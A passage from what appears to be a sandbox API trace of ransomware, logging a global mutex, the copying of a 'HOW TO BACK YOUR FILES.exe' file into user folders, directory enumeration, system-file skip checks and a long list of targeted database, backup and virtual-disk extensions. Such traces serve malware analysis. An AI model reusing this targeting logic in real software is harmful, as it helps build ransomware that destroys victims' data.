dwFlags=0x0, lpMem=0x50b6f0 | out: hHeap=0x4f0000) returned 1 [0101.807] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned 69 [0101.807] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3647BEA69535B6CB65398D2BEDE87B70") returned 0xec [0101.807] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.807] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0101.807] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.807] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.807] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.808] GetLastError () returned 0x0 [0101.808] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.808] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.808] CloseHandle (hObject=0xf4) returned 1 [0101.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.809] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.809] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f6b8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f6b8a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.809] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.809] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.809] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.809] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc5f6b8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5f6b8a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.809] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.809] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.809] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.809] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.809] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f6b8a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5f6b8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.809] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.809] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".") returned 1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="..") returned 1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="windows") returned -1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="bootmgr") returned 1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="temp") returned -1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="pagefile.sys") returned -1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="boot") returned 1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ids.txt") returned 1 [0101.809] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ntuser.dat") returned -1 [0101.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="perflogs") returned -1 [0101.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="MSBuild") returned 1 [0101.810] lstrlenW (lpString="MSN Autos.url") returned 13 [0101.810] lstrcpyW (in: lpString1=0x241e8d4, lpString2="MSN Autos.url" | out: lpString1="MSN Autos.url") returned="MSN Autos.url" [0101.810] lstrlenW (lpString="MSN Autos.url") returned 13 [0101.810] lstrlenW (lpString="Athena865") returned 9 [0101.810] lstrcmpiW (lpString1="Autos.url", lpString2="Athena865") returned 1 [0101.810] lstrlenW (lpString=".dll") returned 4 [0101.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".dll") returned 1 [0101.810] lstrlenW (lpString=".lnk") returned 4 [0101.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".lnk") returned 1 [0101.810] lstrlenW (lpString=".ini") returned 4 [0101.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".ini") returned 1 [0101.810] lstrlenW (lpString=".sys") returned 4 [0101.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".sys") returned 1 [0101.810] lstrlenW (lpString="MSN Autos.url") returned 13 [0101.810] lstrlenW (lpString="bak") returned 3 [0101.810] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0101.810] lstrlenW (lpString="ba_") returned 3 [0101.810] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0101.810] lstrlenW (lpString="dbb") returned 3 [0101.810] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0101.810] lstrlenW (lpString="vmdk") returned 4 [0101.810] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0101.810] lstrlenW (lpString="rar") returned 3 [0101.810] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0101.810] lstrlenW (lpString="zip") returned 3 [0101.810] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0101.810] lstrlenW (lpString="tgz") returned 3 [0101.810] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0101.810] lstrlenW (lpString="vbox") returned 4 [0101.810] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0101.811] lstrlenW (lpString="vdi") returned 3 [0101.811] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0101.811] lstrlenW (lpString="vhd") returned 3 [0101.811] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0101.811] lstrlenW (lpString="vhdx") returned 4 [0101.811] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0101.811] lstrlenW (lpString="avhd") returned 4 [0101.811] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0101.811] lstrlenW (lpString="db") returned 2 [0101.811] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0101.811] lstrlenW (lpString="db2") returned 3 [0101.811] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0101.811] lstrlenW (lpString="db3") returned 3 [0101.811] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0101.811] lstrlenW (lpString="dbf") returned 3 [0101.811] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0101.811] lstrlenW (lpString="mdf") returned 3 [0101.811] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0101.811] lstrlenW (lpString="mdb") returned 3 [0101.811] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0101.811] lstrlenW (lpString="sql") returned 3 [0101.811] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0101.811] lstrlenW (lpString="sqlite") returned 6 [0101.811] lstrcmpiW (lpString1="os.url", lpString2="sqlite") returned -1 [0101.811] lstrlenW (lpString="sqlite3") returned 7 [0101.811] lstrcmpiW (lpString1="tos.url", lpString2="sqlite3") returned 1 [0101.811] lstrlenW (lpString="sqlitedb") returned 8 [0101.811] lstrcmpiW (lpString1="utos.url", lpString2="sqlitedb") returned 1 [0101.811] lstrlenW (lpString="xml") returned 3 [0101.811] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0101.811] lstrlenW (lpString="$er") returned 3 [0101.812] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0101.812] lstrlenW (lpString="4dd") returned 3 [0101.812] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0101.812] lstrlenW (lpString="4dl") returned 3 [0101.812] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0101.812] lstrlenW (lpString="^^^") returned 3 [0101.812] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0101.812] lstrlenW (lpString="abs") returned 3 [0101.812] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0101.812] lstrlenW (lpString="abx") returned 3 [0101.812] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0101.812] lstrlenW (lpString="accdb") returned 5 [0101.812] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1 [0101.812] lstrlenW (lpString="accdc") returned 5 [0101.812] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1 [0101.812] lstrlenW (lpString="accde") returned 5 [0101.812] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1 [0101.812] lstrlenW (lpString="accdr") returned 5 [0101.812] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1 [0101.812] lstrlenW (lpString="accdt") returned 5 [0101.812] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1 [0101.812] lstrlenW (lpString="accdw") returned 5 [0101.812] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1 [0101.812] lstrlenW (lpString="accft") returned 5 [0101.812] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1 [0101.812] lstrlenW (lpString="adb") returned 3 [0101.812] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.812] lstrlenW (lpString="adb") returned 3 [0101.812] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.812] lstrlenW (lpString="ade") returned 3 [0101.812] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0101.812] lstrlenW (lpString="adf") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0101.813] lstrlenW (lpString="adn") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0101.813] lstrlenW (lpString="adp") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0101.813] lstrlenW (lpString="alf") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0101.813] lstrlenW (lpString="ask") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0101.813] lstrlenW (lpString="btr") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0101.813] lstrlenW (lpString="cat") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0101.813] lstrlenW (lpString="cdb") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0101.813] lstrlenW (lpString="ckp") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0101.813] lstrlenW (lpString="cma") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0101.813] lstrlenW (lpString="cpd") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0101.813] lstrlenW (lpString="dacpac") returned 6 [0101.813] lstrcmpiW (lpString1="os.url", lpString2="dacpac") returned 1 [0101.813] lstrlenW (lpString="dad") returned 3 [0101.813] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0101.813] lstrlenW (lpString="dadiagrams") returned 10 [0101.813] lstrcmpiW (lpString1=" Autos.url", lpString2="dadiagrams") returned -1 [0101.813] lstrlenW (lpString="daschema") returned 8 [0101.813] lstrcmpiW (lpString1="utos.url", lpString2="daschema") returned 1 [0101.813] lstrlenW (lpString="db-journal") returned 10 [0101.813] lstrcmpiW (lpString1=" Autos.url", lpString2="db-journal") returned -1 [0101.813] lstrlenW (lpString="db-shm") returned 6 [0101.814] lstrcmpiW (lpString1="os.url", lpString2="db-shm") returned 1 [0101.814] lstrlenW (lpString="db-wal") returned 6 [0101.814] lstrcmpiW (lpString1="os.url", lpString2="db-wal") returned 1 [0101.814] lstrlenW (lpString="dbc") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0101.814] lstrlenW (lpString="dbs") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0101.814] lstrlenW (lpString="dbt") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0101.814] lstrlenW (lpString="dbv") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0101.814] lstrlenW (lpString="dbx") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0101.814] lstrlenW (lpString="dcb") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0101.814] lstrlenW (lpString="dct") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dct") returned 1 [0101.814] lstrlenW (lpString="dcx") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1 [0101.814] lstrlenW (lpString="ddl") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1 [0101.814] lstrlenW (lpString="dlis") returned 4 [0101.814] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1 [0101.814] lstrlenW (lpString="dp1") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1 [0101.814] lstrlenW (lpString="dqy") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1 [0101.814] lstrlenW (lpString="dsk") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1 [0101.814] lstrlenW (lpString="dsn") returned 3 [0101.814] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1 [0101.814] lstrlenW (lpString="dtsx") returned 4 [0101.815] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1 [0101.815] lstrlenW (lpString="dxl") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1 [0101.815] lstrlenW (lpString="eco") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="eco") returned 1 [0101.815] lstrlenW (lpString="ecx") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1 [0101.815] lstrlenW (lpString="edb") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="edb") returned 1 [0101.815] lstrlenW (lpString="epim") returned 4 [0101.815] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1 [0101.815] lstrlenW (lpString="fcd") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1 [0101.815] lstrlenW (lpString="fdb") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1 [0101.815] lstrlenW (lpString="fic") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="fic") returned 1 [0101.815] lstrlenW (lpString="flexolibrary") returned 12 [0101.815] lstrcmpiW (lpString1="SN Autos.url", lpString2="flexolibrary") returned 1 [0101.815] lstrlenW (lpString="fm5") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1 [0101.815] lstrlenW (lpString="fmp") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1 [0101.815] lstrlenW (lpString="fmp12") returned 5 [0101.815] lstrcmpiW (lpString1="s.url", lpString2="fmp12") returned 1 [0101.815] lstrlenW (lpString="fmpsl") returned 5 [0101.815] lstrcmpiW (lpString1="s.url", lpString2="fmpsl") returned 1 [0101.815] lstrlenW (lpString="fol") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="fol") returned 1 [0101.815] lstrlenW (lpString="fp3") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1 [0101.815] lstrlenW (lpString="fp4") returned 3 [0101.815] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1 [0101.816] lstrlenW (lpString="fp5") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1 [0101.816] lstrlenW (lpString="fp7") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1 [0101.816] lstrlenW (lpString="fpt") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1 [0101.816] lstrlenW (lpString="frm") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="frm") returned 1 [0101.816] lstrlenW (lpString="gdb") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0101.816] lstrlenW (lpString="gdb") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0101.816] lstrlenW (lpString="grdb") returned 4 [0101.816] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1 [0101.816] lstrlenW (lpString="gwi") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1 [0101.816] lstrlenW (lpString="hdb") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1 [0101.816] lstrlenW (lpString="his") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="his") returned 1 [0101.816] lstrlenW (lpString="ib") returned 2 [0101.816] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1 [0101.816] lstrlenW (lpString="idb") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="idb") returned 1 [0101.816] lstrlenW (lpString="ihx") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1 [0101.816] lstrlenW (lpString="itdb") returned 4 [0101.816] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1 [0101.816] lstrlenW (lpString="itw") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="itw") returned 1 [0101.816] lstrlenW (lpString="jet") returned 3 [0101.816] lstrcmpiW (lpString1="url", lpString2="jet") returned 1 [0101.817] lstrlenW (lpString="jtx") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1 [0101.817] lstrlenW (lpString="kdb") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1 [0101.817] lstrlenW (lpString="kexi") returned 4 [0101.817] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1 [0101.817] lstrlenW (lpString="kexic") returned 5 [0101.817] lstrcmpiW (lpString1="s.url", lpString2="kexic") returned 1 [0101.817] lstrlenW (lpString="kexis") returned 5 [0101.817] lstrcmpiW (lpString1="s.url", lpString2="kexis") returned 1 [0101.817] lstrlenW (lpString="lgc") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1 [0101.817] lstrlenW (lpString="lwx") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1 [0101.817] lstrlenW (lpString="maf") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="maf") returned 1 [0101.817] lstrlenW (lpString="maq") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="maq") returned 1 [0101.817] lstrlenW (lpString="mar") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="mar") returned 1 [0101.817] lstrlenW (lpString="marshal") returned 7 [0101.817] lstrcmpiW (lpString1="tos.url", lpString2="marshal") returned 1 [0101.817] lstrlenW (lpString="mas") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="mas") returned 1 [0101.817] lstrlenW (lpString="mav") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="mav") returned 1 [0101.817] lstrlenW (lpString="maw") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="maw") returned 1 [0101.817] lstrlenW (lpString="mdbhtml") returned 7 [0101.817] lstrcmpiW (lpString1="tos.url", lpString2="mdbhtml") returned 1 [0101.817] lstrlenW (lpString="mdn") returned 3 [0101.817] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1 [0101.818] lstrlenW (lpString="mdt") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1 [0101.818] lstrlenW (lpString="mfd") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1 [0101.818] lstrlenW (lpString="mpd") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1 [0101.818] lstrlenW (lpString="mrg") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1 [0101.818] lstrlenW (lpString="mud") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="mud") returned 1 [0101.818] lstrlenW (lpString="mwb") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1 [0101.818] lstrlenW (lpString="myd") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="myd") returned 1 [0101.818] lstrlenW (lpString="ndf") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1 [0101.818] lstrlenW (lpString="nnt") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1 [0101.818] lstrlenW (lpString="nrmlib") returned 6 [0101.818] lstrcmpiW (lpString1="os.url", lpString2="nrmlib") returned 1 [0101.818] lstrlenW (lpString="ns2") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1 [0101.818] lstrlenW (lpString="ns3") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1 [0101.818] lstrlenW (lpString="ns4") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1 [0101.818] lstrlenW (lpString="nsf") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1 [0101.818] lstrlenW (lpString="nv") returned 2 [0101.818] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1 [0101.818] lstrlenW (lpString="nv2") returned 3 [0101.818] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1 [0101.819] lstrlenW (lpString="nwdb") returned 4 [0101.819] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1 [0101.819] lstrlenW (lpString="nyf") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1 [0101.819] lstrlenW (lpString="odb") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0101.819] lstrlenW (lpString="odb") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0101.819] lstrlenW (lpString="oqy") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1 [0101.819] lstrlenW (lpString="ora") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="ora") returned 1 [0101.819] lstrlenW (lpString="orx") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="orx") returned 1 [0101.819] lstrlenW (lpString="owc") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="owc") returned 1 [0101.819] lstrlenW (lpString="p96") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="p96") returned 1 [0101.819] lstrlenW (lpString="p97") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="p97") returned 1 [0101.819] lstrlenW (lpString="pan") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="pan") returned 1 [0101.819] lstrlenW (lpString="pdb") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1 [0101.819] lstrlenW (lpString="pdm") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1 [0101.819] lstrlenW (lpString="pnz") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1 [0101.819] lstrlenW (lpString="qry") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="qry") returned 1 [0101.819] lstrlenW (lpString="qvd") returned 3 [0101.819] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1 [0101.819] lstrlenW (lpString="rbf") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1 [0101.820] lstrlenW (lpString="rctd") returned 4 [0101.820] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1 [0101.820] lstrlenW (lpString="rod") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="rod") returned 1 [0101.820] lstrlenW (lpString="rodx") returned 4 [0101.820] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1 [0101.820] lstrlenW (lpString="rpd") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1 [0101.820] lstrlenW (lpString="rsd") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1 [0101.820] lstrlenW (lpString="sas7bdat") returned 8 [0101.820] lstrcmpiW (lpString1="utos.url", lpString2="sas7bdat") returned 1 [0101.820] lstrlenW (lpString="sbf") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1 [0101.820] lstrlenW (lpString="scx") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="scx") returned 1 [0101.820] lstrlenW (lpString="sdb") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1 [0101.820] lstrlenW (lpString="sdc") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1 [0101.820] lstrlenW (lpString="sdf") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1 [0101.820] lstrlenW (lpString="sis") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="sis") returned 1 [0101.820] lstrlenW (lpString="spq") returned 3 [0101.820] lstrcmpiW (lpString1="url", lpString2="spq") returned 1 [0101.820] lstrlenW (lpString="te") returned 2 [0101.820] lstrcmpiW (lpString1="rl", lpString2="te") returned -1 [0101.820] lstrlenW (lpString="teacher") returned 7 [0101.820] lstrcmpiW (lpString1="tos.url", lpString2="teacher") returned 1 [0101.820] lstrlenW (lpString="tmd") returned 3 [0101.821] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1 [0101.821] lstrlenW (lpString="tps") returned 3 [0101.821] lstrcmpiW (lpString1="url", lpString2="tps") returned 1 [0101.821] lstrlenW (lpString="trc") returned 3 [0101.821] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0101.821] lstrlenW (lpString="trc") returned 3 [0101.821] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0101.821] lstrlenW (lpString="trm") returned 3 [0101.821] lstrcmpiW (lpString1="url", lpString2="trm") returned 1 [0101.821] lstrlenW (lpString="udb") returned 3 